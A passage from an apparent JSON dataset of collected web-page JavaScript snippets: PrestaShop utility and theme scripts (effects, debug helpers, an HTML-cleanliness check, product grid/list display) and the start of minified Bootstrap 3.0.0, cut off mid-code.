function(){});\t\t\t});\t\telse if(effect1 === 'slide')\t\t\tjQueryElement.slideUp(velocity, function(){\t\t\t\t$(this).addClass(newClass);\t\t\t\tif(effect2 === 'fade') $(this).text(text).fadeIn(velocity);\t\t\t\telse if(effect2 === 'slide') $(this).text(text).slideDown(velocity);\t\t\t\t\telse if(effect2 === 'show')\t$(this).text(text).show(velocity);\t\t\t});\t\telse if(effect1 === 'hide')\t\t\tjQueryElement.hide(velocity, function(){\t\t\t\t$(this).addClass(newClass);\t\t\t\tif(effect2 === 'fade') $(this).text(text).fadeIn(velocity);\t\t\t\telse if(effect2 === 'slide') $(this).text(text).slideDown(velocity);\t\t\t\t\telse if(effect2 === 'show')\t$(this).text(text).show(velocity);\t\t\t});\t}}//show a JS debugfunction dbg(value){\tvar active = false;//true for active\tvar firefox = true;//true if debug under firefox\tif (active)\t\tif (firefox)\t\t\tconsole.log(value);\t\telse\t\t\talert(value);}/*** Function : print_r()* Arguments: The element - array,hash(associative array),object* The limit - OPTIONAL LIMIT* The depth - OPTIONAL* Returns : The textual representation of the array.* This function was inspired by the print_r function of PHP.* This will accept some data as the argument and return a* text that will be a more readable version of the* array/hash/object that is given.*/function print_r(element, limit, depth){\tdepth =\tdepth?depth:0;\tlimit = limit?limit:1;\treturnString = '<ol>';\tfor(property in element)\t{\t\t//Property domConfig isn't accessable\t\tif (property != 'domConfig')\t\t{\t\t\treturnString += '<li><strong>'+ property + '</strong> <small>(' + (typeof element[property]) +')</small>';\t\t\tif (typeof element[property] == 'number' || typeof element[property] == 'boolean')\t\t\t\treturnString += ' : <em>' + element[property] + '</em>';\t\t\tif (typeof element[property] == 'string' && element[property])\t\t\t\treturnString += ': <div style=\"background:#C9C9C9;border:1px solid black; overflow:auto;\"><code>' +\t\t\t\t\t\t\t\t\telement[property].replace(/</g, '&amp;lt;').replace(/>/g, '&amp;gt;') + '</code></div>';\t\t\tif ((typeof element[property] == 'object') && (depth < limit))\t\t\t\treturnString += print_r(element[property], limit, (depth + 1));\t\t\treturnString += '</li>';\t\t}\t}\treturnString += '</ol>';\tif(depth == 0)\t{\t\twinpop = window.open(\"\", \"\",\"width=800,height=600,scrollbars,resizable\");\t\twinpop.document.write('<pre>'+returnString+ '</pre>');\t\twinpop.document.close();\t}\treturn returnString;}//verify if value is in the arrayfunction in_array(value, array){\tfor (var i in array)\t\tif ((array[i] + '') === (value + ''))\t\t\treturn true;\treturn false;}function isCleanHtml(content){\tvar events = 'onmousedown|onmousemove|onmmouseup|onmouseover|onmouseout|onload|onunload|onfocus|onblur|onchange';\tevents += '|onsubmit|ondblclick|onclick|onkeydown|onkeyup|onkeypress|onmouseenter|onmouseleave|onerror|onselect|onreset|onabort|ondragdrop|onresize|onactivate|onafterprint|onmoveend';\tevents += '|onafterupdate|onbeforeactivate|onbeforecopy|onbeforecut|onbeforedeactivate|onbeforeeditfocus|onbeforepaste|onbeforeprint|onbeforeunload|onbeforeupdate|onmove';\tevents += '|onbounce|oncellchange|oncontextmenu|oncontrolselect|oncopy|oncut|ondataavailable|ondatasetchanged|ondatasetcomplete|ondeactivate|ondrag|ondragend|ondragenter|onmousewheel';\tevents += '|ondragleave|ondragover|ondragstart|ondrop|onerrorupdate|onfilterchange|onfinish|onfocusin|onfocusout|onhashchange|onhelp|oninput|onlosecapture|onmessage|onmouseup|onmovestart';\tevents += '|onoffline|ononline|onpaste|onpropertychange|onreadystatechange|onresizeend|onresizestart|onrowenter|onrowexit|onrowsdelete|onrowsinserted|onscroll|onsearch|onselectionchange';\tevents += '|onselectstart|onstart|onstop';\tvar script1 = /<[\\s]*script/im;\tvar script2 = new RegExp('('+events+')[\\s]*=', 'im');\tvar script3 = /.*script\\:/im;\tvar script4 = /<[\\s]*(i?frame|embed|object)/im;\tif (script1.test(content) || script2.test(content) || script3.test(content) || script4.test(content))\t\treturn false;\treturn true;}function sleep(milliseconds){\tvar start = new Date().getTime();\tfor (var i = 0; i < 1e7; i++) {\t\tif ((new Date().getTime() - start) > milliseconds) {\t\t\tbreak;\t\t}\t}}$(document).ready(function(){\t// Hide all elements with .hideOnSubmit class when parent form is submit\t$('form').submit(function() {\t\t$(this).find('.hideOnSubmit').hide();\t});\t$.fn.checkboxChange = function(fnChecked, fnUnchecked) {\t\tif ($(this).prop('checked') && fnChecked)\t\t\tfnChecked.call(this);\t\telse if(fnUnchecked)\t\t\tfnUnchecked.call(this);\t\tif (!$(this).attr('eventCheckboxChange'))\t\t{\t\t\t$(this).on('change', function() { $(this).checkboxChange(fnChecked, fnUnchecked); });\t\t\t$(this).attr('eventCheckboxChange', true);\t\t}\t};\t// attribute target=\"_blank\" is not W3C compliant\t$('a._blank, a.js-new-window').attr('target', '_blank');});",
"relationship": "External",
"method": "Dynamic Analysis",
"language": "Javascript"
},
{
"snippet": "/*\r* 2007-2014 PrestaShop\r*\r* NOTICE OF LICENSE\r*\r* This source file is subject to the Academic Free License (AFL 3.0)\r* that is bundled with this package in the file LICENSE.txt.\r* It is also available through the world-wide-web at this URL:\r* http://opensource.org/licenses/afl-3.0.php\r* If you did not receive a copy of the license and are unable to\r* obtain it through the world-wide-web, please send an email\r* to license@prestashop.com so we can send you a copy immediately.\r*\r* DISCLAIMER\r*\r* Do not edit or add to this file if you wish to upgrade PrestaShop to newer\r* versions in the future. If you wish to customize PrestaShop for your\r* needs please refer to http://www.prestashop.com for more information.\r*\r* @author PrestaShop SA <contact@prestashop.com>\r* @copyright 2007-2014 PrestaShop SA\r* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0)\r* International Registered Trademark & Property of PrestaShop SA\r*/\r//global variables\rvar responsiveflag = false;\r\r$(document).ready(function(){\r\r\t// flexslider arrows on hover \r\t$(\".flex-container\").hover(function () {\r\t\t$(\" ul.flex-direction-nav\").fadeToggle();\r\t}); \r\r // move headings h1\r\t$('#wpheading .container').not('body#index #wpheading .container').html($('#center_column h1, #module-bankwire-payment #center_column h2, #module-cheque-payment h2, #module-cashondelivery-validation h2, #cms #center_column .rte h2').not('.step-num'));\r\r // show search-bar\r\t$(\".search-icon\").click(function () {\r\t\t$(\"#searchbox\").fadeToggle();\r\t});\r\r\r\t // sticky header\r function stickyHeader () {\r\r var headerHeight = $(\"#header\").innerHeight();\r var page = $(\"#slider_row\");\r var $this = this;\r \r\r $this.checkstickyHeader = function() {\r\r\tif($(window).width() > 1199) {\r\t\tpage.css(\"padding-top\", headerHeight -5 + \"px\");\r\t}\r\telse {\r\t\tpage.css(\"padding-top\", \"0px\");\r\t}\r\r if($(window).scrollTop() > headerHeight && $(window).width() > 1199) {\r\r if($(\"#page\").hasClass(\"sticky-header\"))\r return false;\r\r $(\"#page\").removeClass(\"no-sticky-header\").addClass(\"sticky-header\"); \r\r } else {\r $(\"#page\").removeClass(\"sticky-header\").addClass(\"no-sticky-header\"); \r }\r }\r \r $this.checkstickyHeader();\r }\r\r\r\tstickyHeader();\t\r\thighdpiInit();\r\tresponsiveResize();\r\t$(window).resize(responsiveResize);\r\tif (navigator.userAgent.match(/Android/i))\r\t{\r\t\tvar viewport = document.querySelector('meta[name=\"viewport\"]');\r\t\tviewport.setAttribute('content', 'initial-scale=1.0,maximum-scale=1.0,user-scalable=0,width=device-width,height=device-height');\r\t\twindow.scrollTo(0, 1);\r\t}\r\tblockHover();\r\tif (typeof quickView !== 'undefined' && quickView)\r\t\tquick_view();\r\tdropDown();\r\r\tif (typeof page_name != 'undefined' && !in_array(page_name, ['index', 'product']))\r\t{\r\t\tbindGrid();\r\r \t\t$(document).on('change', '.selectProductSort', function(e){\r\t\t\tif (typeof request != 'undefined' && request)\r\t\t\t\tvar requestSortProducts = request;\r \t\t\tvar splitData = $(this).val().split(':');\r var url = '';\r\t\tif (typeof requestSortProducts != 'undefined' && requestSortProducts)\r\t\t\t{\r\t\t\t\turl += requestSortProducts ;\r\t\t\t\tif (typeof splitData[0] !== 'undefined' && splitData[0])\r\t\t\t\t{\r\t\t\t\t\turl += ( requestSortProducts.indexOf('?') < 0 ? '?' : '&') + 'orderby=' + splitData[0] + (splitData[1] ? '&orderway=' + splitData[1] : '');\r\t\t\t\t\tif (typeof splitData[1] !== 'undefined' && splitData[1])\r\t\t\t\t\t\turl += '&orderway=' + splitData[1];\r\t\t\t\t}\r\t\t\t\tdocument.location.href = url;\r\t\t\t}\r \t});\r\r\t\t$(document).on('change', 'select[name=\"n\"]', function(){\r\t\t\t$(this.form).submit();\r\t\t});\r\r $(document).on('change', 'select[name=\"currency_payment\"]', function(){\r\t\t\tsetCurrency($(this).val());\r\t\t});\r\t}\r \r $(document).on('change', 'select[name=\"manufacturer_list\"], select[name=\"supplier_list\"]', function(){\r if (this.value != '')\r location.href = this.value;\r });\r\r\t$(document).on('click', '.back', function(e){\r\t\te.preventDefault();\r\t\thistory.back();\r\t});\r\t\r\tjQuery.curCSS = jQuery.css;\r\tif (!!$.prototype.cluetip)\r\t\t$('a.cluetip').cluetip({\r\t\t\tlocal:true,\r\t\t\tcursor: 'pointer',\r\t\t\tdropShadow: false,\r\t\t\tdropShadowSteps: 0,\r\t\t\tshowTitle: false,\r\t\t\ttracking: true,\r\t\t\tsticky: false,\r\t\t\tmouseOutClose: true,\r\t\t\tfx: { \r\t\t \topen: 'fadeIn',\r\t\t \topenSpeed: 'fast'\r\t\t\t}\r\t\t}).css('opacity', 0.8);\r\r\tif (!!$.prototype.fancybox)\r\t\t$.extend($.fancybox.defaults.tpl, {\r\t\t\tcloseBtn : '<a title=\"' + FancyboxI18nClose + '\" class=\"fancybox-item fancybox-close\" href=\"javascript:;\"></a>',\r\t\t\tnext : '<a title=\"' + FancyboxI18nNext + '\" class=\"fancybox-nav fancybox-next\" href=\"javascript:;\"><span></span></a>',\r\t\t\tprev : '<a title=\"' + FancyboxI18nPrev + '\" class=\"fancybox-nav fancybox-prev\" href=\"javascript:;\"><span></span></a>'\r\t\t});\r\r // Close Alert messages\r $(\".alert.alert-danger\").on('click', this, function(e){\r if (e.offsetX >= 16 && e.offsetX <= 39 && e.offsetY >= 16 && e.offsetY <= 34)\r\t\t\t $(this).fadeOut();\r });\r\r \t// Execute on load\r stickyHeader();\r\r \t// Execute on scroll\r $(window).on(\"scroll\", function() {\r stickyHeader();\r });\r\r $(window).on(\"resize\", function() {\r stickyHeader();\r });\r\r});\r\rfunction highdpiInit()\r{\r\tif($('.replace-2x').css('font-size') == \"1px\")\r\t{\t\t\r\t\tvar els = $(\"img.replace-2x\").get();\r\t\tfor(var i = 0; i < els.length; i++)\r\t\t{\r\t\t\tsrc = els[i].src;\r\t\t\textension = src.substr( (src.lastIndexOf('.') +1) );\r\t\t\tsrc = src.replace(\".\" + extension, \"2x.\" + extension);\r\t\t\t\r\t\t\tvar img = new Image();\r\t\t\timg.src = src;\r\t\t\timg.height != 0 ? els[i].src = src : els[i].src = els[i].src;\r\t\t}\r\t}\r}\r\r// Used to compensante Chrome/Safari bug (they don't care about scroll bar for width)\rfunction scrollCompensate() \r{\r var inner = document.createElement('p');\r inner.style.width = \"100%\";\r inner.style.height = \"200px\";\r\r var outer = document.createElement('div');\r outer.style.position = \"absolute\";\r outer.style.top = \"0px\";\r outer.style.left = \"0px\";\r outer.style.visibility = \"hidden\";\r outer.style.width = \"200px\";\r outer.style.height = \"150px\";\r outer.style.overflow = \"hidden\";\r outer.appendChild(inner);\r\r document.body.appendChild(outer);\r var w1 = inner.offsetWidth;\r outer.style.overflow = 'scroll';\r var w2 = inner.offsetWidth;\r if (w1 == w2) w2 = outer.clientWidth;\r\r document.body.removeChild(outer);\r\r return (w1 - w2);\r}\r\rfunction responsiveResize()\r{\r compensante = scrollCompensate();\r if (($(window).width()+scrollCompensate()) <= 767 && responsiveflag == false)\r\t{\r\t\taccordion('enable');\r\t accordionFooter('enable');\r\t\tresponsiveflag = true;\t\r\t}\r\telse if (($(window).width()+scrollCompensate()) >= 768)\r\t{\r\t\taccordion('disable');\r\t\taccordionFooter('disable');\r\t responsiveflag = false; \r\t}\r}\r\rfunction blockHover(status)\r{\r\t$(document).off('mouseenter').on('mouseenter', '.product_list.grid li.ajax_block_product .product-container', function(e){\r\r\t\tif ($('body').find('.container').width() == 1140)\r\t\t{\r\t\t\tvar pcHeight = $(this).parent().outerHeight();\r\t\t\tvar pcPHeight = $(this).parent().find('.button-container').outerHeight() + $(this).parent().find('.comments_note').outerHeight() + $(this).parent().find('.functional-buttons').outerHeight();\r\t\t\t$(this).parent().addClass('hovered');\r\t\t\t// $(this).parent().css('height', pcHeight + pcPHeight).css('margin-bottom', pcPHeight * (-1));\r\t\t}\r\t});\r\r\t$(document).off('mouseleave').on('mouseleave', '.product_list.grid li.ajax_block_product .product-container', function(e){\r\t\tif ($('body').find('.container').width() == 1140)\r\t\t\t$(this).parent().removeClass('hovered').removeAttr('style');\r\t});\r}\r\rfunction quick_view()\r{\r\t$(document).on('click', '.quick-view:visible', function(e) \r\t{\r\t\te.preventDefault();\r\t\tvar url = this.rel;\r var anchor = '';\r\r\t\tif (url.indexOf('#') != -1)\r\t\t{\r\t\t\tanchor = url.substring(url.indexOf('#'), url.length);\r\t\t\turl = url.substring(0, url.indexOf('#'));\r\t\t}\r\r\t\tif (url.indexOf('?') != -1)\r\t\t\turl += '&';\r\t\telse\r\t\t\turl += '?';\r\r\t\tif (!!$.prototype.fancybox)\r\t\t\t$.fancybox({\r\t\t\t\t'padding': 0,\r\t\t\t\t'width': 1087,\r\t\t\t\t'height': 610,\r\t\t\t\t'type': 'iframe',\r\t\t\t\t'href': url + 'content_only=1' + anchor\r\t\t\t});\r\t});\r}\r\rfunction bindGrid()\r{\r\tvar view = $.totalStorage('display');\r \r if (!view && (typeof displayList != 'undefined') && displayList)\r view = 'list';\r\t\r if (view && view != 'grid')\r\t\tdisplay(view);\r\telse\r\t\t$('.display').find('li#grid').addClass('selected');\r\t\r\t$(document).on('click', '#grid', function(e){\r\t\te.preventDefault();\r\t\tdisplay('grid');\r\t});\r\r\t$(document).on('click', '#list', function(e){\r\t\te.preventDefault();\r\t\tdisplay('list');\r\t});\r}\r\rfunction display(view)\r{\r\tif (view == 'list')\r\t{\r\t\t$('ul.product_list').removeClass('grid').addClass('list');\r\t\t$('.product_list > li').removeClass('col-xs-12 col-sm-4 col-md-3 col-lg-3').addClass('col-xs-12');\r\t\t$('.product_list > li').each(function(index, element) {\r\t\t\thtml = '';\r\t\t\thtml = '<div class=\"product-container\"><div class=\"row\">';\r\t\t\t\thtml += '<div class=\"left-block col-xs-6 col-sm-4 col-md-4\"><div class=\"product-image-container\">' + $(element).find('.left-block .product-grid')[0].outerHTML + '</div></div>';\r\t\t\t\thtml += '<div class=\"center-block col-xs-6 col-sm-4 col-md-5\">';\r\t\t\t\t\thtml += '<div class=\"product-flags\">'+ $(element).find('.product-flags').html() + '</div>';\r\t\t\t\t\thtml += '<h5 itemprop=\"name\">'+ $(element).find('h5').html() + '</h5>';\r\t\t\t\t\tvar rating = $(element).find('.comments_note').html(); // check : rating\r\t\t\t\t\tif (rating != null) { \r\t\t\t\t\t\thtml += '<div itemprop=\"aggregateRating\" itemscope itemtype=\"http://schema.org/AggregateRating\" class=\"comments_note\">'+ rating + '</div>';\r\t\t\t\t\t}\r\t\t\t\t\thtml += '<p class=\"product-desc\">'+ $(element).find('.product-desc').html() + '</p>';\r\t\t\t\t\tvar colorList = $(element).find('.color-list-container').html();\r\t\t\t\t\tif (colorList != null) {\r\t\t\t\t\t\thtml += '<div class=\"color-list-container\">'+ colorList +'</div>';\r\t\t\t\t\t}\r\t\t\t\t\tvar availability = $(element).find('.availability').html();\t// check : catalog mode is enabled\r\t\t\t\t\tif (availability != null) {\r\t\t\t\t\t\thtml += '<span class=\"availability\">'+ availability +'</span>';\r\t\t\t\t\t}\r\t\t\t\thtml += '</div>';\t\r\t\t\t\thtml += '<div class=\"right-block col-xs-12 col-sm-4 col-md-3\"><div class=\"right-block-content row\">';\r\t\t\t\t\tvar price = $(element).find('.content_price').html(); // check : catalog mode is enabled\r\t\t\t\t\tif (price != null) { \r\t\t\t\t\t\thtml += '<div class=\"content_price col-xs-6 col-sm-12 col-md-12\">'+ price + '</div>';\r\t\t\t\t\t}\r\t\t\t\t\thtml += '<div class=\"button-container col-xs-6 col-sm-12 col-md-12\">'+ $(element).find('.button-container').html() +'</div>';\r\t\t\t\t\thtml += '<div class=\"functional-buttons clearfix col-sm-12\">' + $(element).find('.functional-buttons').html() + '</div>';\r\t\t\t\thtml += '</div>';\r\t\t\thtml += '</div></div>';\r\t\t$(element).html(html);\r\t\t});\t\t\r\t\t$('.display').find('li#list').addClass('selected');\r\t\t$('.display').find('li#grid').removeAttr('class');\r\t\t$.totalStorage('display', 'list');\r\t}\r\telse \r\t{\r\t\t$('ul.product_list').removeClass('list').addClass('grid');\r\t\t$('.product_list > li').removeClass('col-xs-12').addClass('col-xs-12 col-sm-4 col-md-3 col-lg-3');\r\t\t$('.product_list > li').each(function(index, element) {\r\t\thtml = '';\r\t\thtml += '<div class=\"product-container\">';\r\t\t\thtml += '<div class=\"left-block\"><div class=\"product-image-container\">' + $(element).find('.left-block .product-grid')[0].outerHTML + '<div class=\"product-flags\">' + $(element).find('.product-flags').html() + '</div>' + '<div class=\"functional-buttons functional-buttons-grid clearfix\">' + $(element).find('.functional-buttons').html() + '</div></div>';\r\t\t\thtml += '<div class=\"right-block\">';\r\t\t\t\thtml += '<div class=\"product-flags\">'+ $(element).find('.product-flags').html() + '</div>';\r\t\t\t\thtml += '<h5 itemprop=\"name\">'+ $(element).find('h5').html() + '</h5>';\r\t\t\t\tvar rating = $(element).find('.comments_note').html(); // check : rating\r\t\t\t\t\tif (rating != null) { \r\t\t\t\t\t\thtml += '<div itemprop=\"aggregateRating\" itemscope itemtype=\"http://schema.org/AggregateRating\" class=\"comments_note\">'+ rating + '</div>';\r\t\t\t\t\t}\r\t\t\t\thtml += '<p itemprop=\"description\" class=\"product-desc\">'+ $(element).find('.product-desc').html() + '</p>';\r\t\t\t\tvar price = $(element).find('.content_price').html(); // check : catalog mode is enabled\r\t\t\t\t\tif (price != null) { \r\t\t\t\t\t\thtml += '<div class=\"content_price\">'+ price + '</div>';\r\t\t\t\t\t}\r\t\t\t\thtml += '<div itemprop=\"offers\" itemscope itemtype=\"http://schema.org/Offer\" class=\"button-container\">'+ $(element).find('.button-container').html() +'</div>';\r\t\t\t\tvar colorList = $(element).find('.color-list-container').html();\r\t\t\t\tif (colorList != null) {\r\t\t\t\t\thtml += '<div class=\"color-list-container\">'+ colorList +'</div>';\r\t\t\t\t}\r\t\t\t\tvar availability = $(element).find('.availability').html(); // check : catalog mode is enabled\r\t\t\t\tif (availability != null) {\r\t\t\t\t\thtml += '<span class=\"availability\">'+ availability +'</span>';\r\t\t\t\t}\r\t\t\thtml += '</div>';\r\t\thtml += '</div>';\t\t\r\t\t$(element).html(html);\r\t\t});\r\t\t$('.display').find('li#grid').addClass('selected');\r\t\t$('.display').find('li#list').removeAttr('class');\r\t\t$.totalStorage('display', 'grid');\r\t}\t\r}\r\rfunction dropDown() \r{\r\telementClick = '#header .current';\r\telementSlide = 'ul.toogle_content'; \r\tactiveClass = 'active';\t\t\t \r\r\t$(elementClick).on('click', function(e){\r\t\te.stopPropagation();\r\t\tvar subUl = $(this).next(elementSlide);\r\t\tif(subUl.is(':hidden'))\r\t\t{\r\t\t\tsubUl.slideDown();\r\t\t\t$(this).addClass(activeClass);\t\r\t\t}\r\t\telse\r\t\t{\r\t\t\tsubUl.slideUp();\r\t\t\t$(this).removeClass(activeClass);\r\t\t}\r\t\t$(elementClick).not(this).next(elementSlide).slideUp();\r\t\t$(elementClick).not(this).removeClass(activeClass);\r\t\te.preventDefault();\r\t});\r\r\t$(elementSlide).on('click', function(e){\r\t\te.stopPropagation();\r\t});\r\r\t$(document).on('click', function(e){\r\t\te.stopPropagation();\r\t\tvar elementHide = $(elementClick).next(elementSlide);\r\t\t$(elementHide).slideUp();\r\t\t$(elementClick).removeClass('active');\r\t});\r}\r\rfunction accordionFooter(status)\r{\r\tif(status == 'enable')\r\t{\r\t\t$('#footer .footer-block h4').on('click', function(){\r\t\t\t$(this).toggleClass('active').parent().find('.toggle-footer').stop().slideToggle('medium');\r\t\t})\r\t\t$('#footer').addClass('accordion').find('.toggle-footer').slideUp('fast');\r\t}\r\telse\r\t{\r\t\t$('.footer-block h4').removeClass('active').off().parent().find('.toggle-footer').removeAttr('style').slideDown('fast');\r\t\t$('#footer').removeClass('accordion');\r\t}\r}\r\rfunction accordion(status)\r{\r\tleftColumnBlocks = $('#left_column');\r\tif(status == 'enable')\r\t{\r\t\tvar accordion_selector = '#right_column .block .title_block, #left_column .block .title_block, #left_column #newsletter_block_left h4,' +\r\t\t\t\t\t\t\t\t'#left_column .shopping_cart > a:first-child, #right_column .shopping_cart > a:first-child';\r\r\t\t$(accordion_selector).on('click', function(e){\r\t\t\t$(this).toggleClass('active').parent().find('.block_content').stop().slideToggle('medium');\r\t\t});\r\t\t$('#right_column, #left_column').addClass('accordion').find('.block .block_content').slideUp('fast');\r if (typeof(ajaxCart) !== 'undefined')\r\t\t\tajaxCart.collapse();\r\t}\r\telse\r\t{\r\t\t$('#right_column .block .title_block, #left_column .block .title_block, #left_column #newsletter_block_left h4').removeClass('active').off().parent().find('.block_content').removeAttr('style').slideDown('fast');\r\t\t$('#left_column, #right_column').removeClass('accordion');\r\t}\r}",
"relationship": "External",
"method": "Dynamic Analysis",
"language": "Javascript"
},
{
"snippet": "/*** bootstrap.js v3.0.0 by @fat and @mdo* Copyright 2013 Twitter Inc.* http://www.apache.org/licenses/LICENSE-2.0*/if(!jQuery)throw new Error(\"Bootstrap requires jQuery\");+function(a){\"use strict\";function b(){var a=document.createElement(\"bootstrap\"),b={WebkitTransition:\"webkitTransitionEnd\",MozTransition:\"transitionend\",OTransition:\"oTransitionEnd otransitionend\",transition:\"transitionend\"};for(var c in b)if(void 0!==a.style[c])return{end:b[c]}}a.fn.emulateTransitionEnd=function(b){var c=!1,d=this;a(this).one(a.support.transition.end,function(){c=!0});var e=function(){c||a(d).trigger(a.support.transition.end)};return setTimeout(e,b),this},a(function(){a.support.transition=b()})}(window.jQuery),+function(a){\"use strict\";var b='[data-dismiss=\"alert\"]',c=function(c){a(c).on(\"click\",b,this.close)};c.prototype.close=function(b){function c(){f.trigger(\"closed.bs.alert\").remove()}var d=a(this),e=d.attr(\"data-target\");e||(e=d.attr(\"href\"),e=e&&e.replace(/.*(?=#[^\\s]*$)/,\"\"));var f=a(e);b&&b.preventDefault(),f.length||(f=d.hasClass(\"alert\")?d:d.parent()),f.trigger(b=a.Event(\"close.bs.alert\")),b.isDefaultPrevented()||(f.removeClass(\"in\"),a.support.transition&&f.hasClass(\"fade\")?f.one(a.support.transition.end,c).emulateTransitionEnd(150):c())};var d=a.fn.alert;a.fn.alert=function(b){return this.each(function(){var d=a(this),e=d.data(\"bs.alert\");e||d.data(\"bs.alert\",e=new c(this)),\"string\"==typeof b&&e[b].call(d)})},a.fn.alert.Constructor=c,a.fn.alert.noConflict=function(){return a.fn.alert=d,this},a(document).on(\"click.bs.alert.data-api\",b,c.prototype.close)}(window.jQuery),+function(a){\"use strict\";var b=function(c,d){this.$element=a(c),this.options=a.extend({},b.DEFAULTS,d)};b.DEFAULTS={loadingText:\"loading...\"},b.prototype.setState=function(a){var b=\"disabled\",c=this.$element,d=c.is(\"input\")?\"val\":\"html\",e=c.data();a+=\"Text\",e.resetText||c.data(\"resetText\",c[d]()),c[d](e[a]||this.options[a]),setTimeout(function(){\"loadingText\"==a?c.addClass(b).attr(b,b):c.removeClass(b).removeAttr(b)},0)},b.prototype.toggle=function(){var a=this.$element.closest('[data-toggle=\"buttons\"]');if(a.length){var b=this.$element.find(\"input\").prop(\"checked\",!this.$element.hasClass(\"active\")).trigger(\"change\");\"radio\"===b.prop(\"type\")&&a.find(\".active\").removeClass(\"active\")}this.$element.toggleClass(\"active\")};var c=a.fn.button;a.fn.button=function(c){return this.each(function(){var d=a(this),e=d.data(\"bs.button\"),f=\"object\"==typeof c&&c;e||d.data(\"bs.button\",e=new b(this,f)),\"toggle\"==c?e.toggle():c&&e.setState(c)})},a.fn.button.Constructor=b,a.fn.button.noConflict=function(){return a.fn.button=c,this},a(document).on(\"click.bs.button.data-api\",\"[data-toggle^=button]\",function(b){var c=a(b.target);c.hasClass(\"btn\")||(c=c.closest(\".btn\")),c.button(\"toggle\"),b.preventDefault()})}(window.jQuery),+function(a){\"use strict\";var b=function(b,c){this.$element=a(b),this.$indicators=this.$element.find(\".carousel-indicators\"),this.options=c,this.paused=this.sliding=this.interval=this.$active=this.$items=null,\"hover\"==this.options.pause&&this.$element.on(\"mouseenter\",a.proxy(this.pause,this)).on(\"mouseleave\",a.proxy(this.cycle,this))};b.DEFAULTS={interval:5e3,pause:\"hover\",wrap:!0},b.prototype.cycle=function(b){return b||(this.paused=!1),this.interval&&clearInterval(this.interval),this.options.interval&&!this.paused&&(this.interval=setInterval(a.proxy(this.next,this),this.options.interval)),this},b.prototype.getActiveIndex=function(){return this.$active=this.$element.find(\".item.active\"),this.$items=this.$active.parent().children(),this.$items.index(this.$active)},b.prototype.to=function(b){var c=this,d=this.getActiveIndex();return b>this.$items.length-1||0>b?void 0:this.sliding?this.$element.one(\"slid\",function(){c.to(b)}):d==b?this.pause().cycle():this.slide(b>d?\"next\":\"prev\",a(this.$items[b]))},b.prototype.pause=function(b){return b||(this.paused=!0),this.$element.find(\".next, .prev\").length&&a.support.transition.end&&(this.$element.trigger(a.support.transition.end),this.cycle(!0)),this.interval=clearInterval(this.interval),this},b.prototype.next=function(){return this.sliding?void 0:this.slide(\"next\")},b.prototype.prev=function(){return this.sliding?void 0:this.slide(\"prev\")},b.prototype.slide=function(b,c){var d=this.$element.find(\".item.active\"),e=c||d[b](),f=this.interval,g=\"next\"==b?\"left\":\"right\",h=\"next\"==b?\"first\":\"last\",i=this;if(!e.length){if(!this.options.wrap)return;e=this.$element.find(\".item\")[h]()}this.sliding=!0,f&&this.pause();var j=a.Event(\"slide.bs.carousel\",{relatedTarget:e[0],direction:g});if(!e.hasClass(\"active\")){if(this.$indicators.length&&(this.$indicators.find(\".active\").removeClass(\"active\"),this.$element.one(\"slid\",function(){var b=a(i.$indicators.children()[i.getActiveIndex()]);b&&b.addClass(\"active\")})),a.support.transition&&this.$element.hasClass(\"slide\")){if(this.$element.trigger(j),j.isDefaultPrevented())return;e.addClass(b),e[0].offsetWidth,d.addClass(g),e.addClass(g),d.one(a.support.transition.end,function(){e.removeClass([b,g].join(\" \")).addClass(\"active\"),d.removeClass([\"active\",g].join(\" \")),i.sliding=!1,setTimeout(function(){i.$element.trigger(\"slid\")},0)}).emulateTransitionEnd(600)}else{if(this.$element.trigger(j),j.isDefaultPrevented())return;d.removeClass(\"active\"),e.addClass(\"active\"),this.sliding=!1,this.$element.trigger(\"slid\")}return f&&this.cycle(),this}};var c=a.fn.carousel;a.fn.carousel=function(c){return this.each(function(){var d=a(this),e=d.data(\"bs.carousel\"),f=a.extend({},b.DEFAULTS,d.data(),\"object\"==typeof c&&c),g=\"string\"==typeof c?c:f.slide;e||d.data(\"bs.carousel\",e=new b(this,f)),\"number\"==typeof c?e.to(c):g?e[g]():f.interval&&e.pause().cycle()})},a.fn.carousel.Constructor=b,a.fn.carousel.noConflict=function(){return a.fn.carousel=c,this},a(document).on(\"click.bs.carousel.data-api\",\"[data-slide], [data-slide-to]\",function(b){var c,d=a(this),e=a(d.attr(\"data-target\")||(c=d.attr(\"href\"))&&c.replace(/.*(?=#[^\\s]+$)/,\"\")),f=a.extend({},e.data(),d.data()),g=d.attr(\"data-slide-to\");g&&(f.interval=!1),e.carousel(f),(g=d.attr(\"data-slide-to\"))&&e.data(\"bs.carousel\").to(g),b.preventDefault()}),a(window).on(\"load\",function(){a('[data-ride=\"carousel\"]').each(function(){var b=a(this);b.carousel(b.data())})})}(window.jQuery),+function(a){\"use strict\";var b=function(c,d){this.$element=a(c),this.options=a.extend({},b.DEFAULTS,d),this.transitioning=null,this.options.parent&&(this.$parent=a(this.options.parent)),this.options.toggle&&this.toggle()};b.DEFAULTS={toggle:!0},b.prototype.dimension=function(){var a=this.$element.hasClass(\"width\");return a?\"width\":\"height\"},b.prototype.show=function(){if(!this.transitioning&&!this.$element.hasClass(\"in\")){var b=a.Event(\"show.bs.collapse\");if(this.$element.trigger(b),!b.isDefaultPrevented()){var c=this.$parent&&this.$parent.find(\"> .panel > .in\");if(c&&c.length){var d=c.data(\"bs.collapse\");if(d&&d.transitioning)return;c.collapse(\"hide\"),d||c.data(\"bs.collapse\",null)}var e=this.dimension();this.$element.removeClass(\"collapse\").addClass(\"collapsing\")[e](0),this.transitioning=1;var f=function(){this.$element.removeClass(\"collapsing\").addClass(\"in\")[e](\"auto\"),this.transitioning=0,this.$element.trigger(\"shown.bs.collapse\")};if(!a.support.transition)return f.call(this);var g=a.camelCase([\"scroll\",e].join(\"-\"));this.$element.one(a.support.transition.end,a.proxy(f,this)).emulateTransitionEnd(350)[e](this.$element[0][g])}}},b.prototype.hide=function(){if(!this.transitioning&&this.$element.hasClass(\"in\")){var b=a.Event(\"hide.bs.collapse\");if(this.$element.trigger(b),!b.isDefaultPrevented()){var c=this.dimension();this.$element[c](this.$element[c]())[0].offsetHeight,this.$element.addClass(\"collapsing\").removeClass(\"collapse\").removeClass(\"in\"),this.transitioning=1;var d=function(){this.transitioning=0,this.$element.trigger(\"hidden.bs.collapse\").removeClass(\"collapsing\").addClass(\"collapse\")};return a.support.transition?(this.$element[c](0).one(a.support.transition.end,a.proxy(d,this)).emulateTransitionEnd(350),void 